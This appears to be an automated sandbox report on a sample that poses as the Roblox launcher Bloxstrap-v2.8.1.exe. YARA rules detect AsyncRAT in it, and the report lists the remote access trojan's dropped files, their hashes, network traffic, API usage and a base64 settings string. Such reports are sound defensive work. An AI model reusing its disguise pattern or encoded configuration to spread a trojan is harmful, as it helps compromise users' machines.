Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047

Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49831 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.CZxDiTktSY.exe.2d938a8.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.0.XClient.exe.40000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000000.1704735361.0000000000042000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1713270331.0000000002D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Code function: 1_2_00007FF72E6B1B90	1_2_00007FF72E6B1B90
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Code function: 1_2_00007FF72E6A2B50	1_2_00007FF72E6A2B50
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Code function: 1_2_00007FF72E6AF090	1_2_00007FF72E6AF090
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Code function: 1_2_00007FF72E6A9CC0	1_2_00007FF72E6A9CC0
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Code function: 1_2_00007FF72E6A6700	1_2_00007FF72E6A6700
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 2_2_00007FFD9B896366	2_2_00007FFD9B896366
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 2_2_00007FFD9B897522	2_2_00007FFD9B897522

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\FileExplorer.exe DA98F8DE94A1F21ADEBDE64BD45A11921FEDEAEC036035C46B80621B619F017B
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\XClient.exe DA98F8DE94A1F21ADEBDE64BD45A11921FEDEAEC036035C46B80621B619F017B

Source: CZxDiTktSY.exe, 00000000.00000000.1692389045.0000000000B2C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBloxstrap-v2.8.1.exe4 vs CZxDiTktSY.exe
Source: CZxDiTktSY.exe, 00000000.00000002.1713270331.0000000002D71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs CZxDiTktSY.exe
Source: CZxDiTktSY.exe	Binary or memory string: OriginalFilenameBloxstrap-v2.8.1.exe4 vs CZxDiTktSY.exe

Source: CZxDiTktSY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.CZxDiTktSY.exe.2d938a8.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.0.XClient.exe.40000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000000.1704735361.0000000000042000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1713270331.0000000002D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: XClient.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: XClient.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: XClient.exe.0.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: FileExplorer.exe.2.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: FileExplorer.exe.2.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: XClient.exe.0.dr, Settings.cs	Base64 encoded string: 'k0zJvL6lXZ0dNE5hDmbWWxfshhFq30H7R3FWafSof8V6AHqXGgzn0myieGPS+tsT'
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, Settings.cs	Base64 encoded string: 'k0zJvL6lXZ0dNE5hDmbWWxfshhFq30H7R3FWafSof8V6AHqXGgzn0myieGPS+tsT'
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, Settings.cs	Base64 encoded string: 'k0zJvL6lXZ0dNE5hDmbWWxfshhFq30H7R3FWafSof8V6AHqXGgzn0myieGPS+tsT'
Source: FileExplorer.exe.2.dr, Settings.cs	Base64 encoded string: 'k0zJvL6lXZ0dNE5hDmbWWxfshhFq30H7R3FWafSof8V6AHqXGgzn0myieGPS+tsT'

Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: FileExplorer.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: XClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
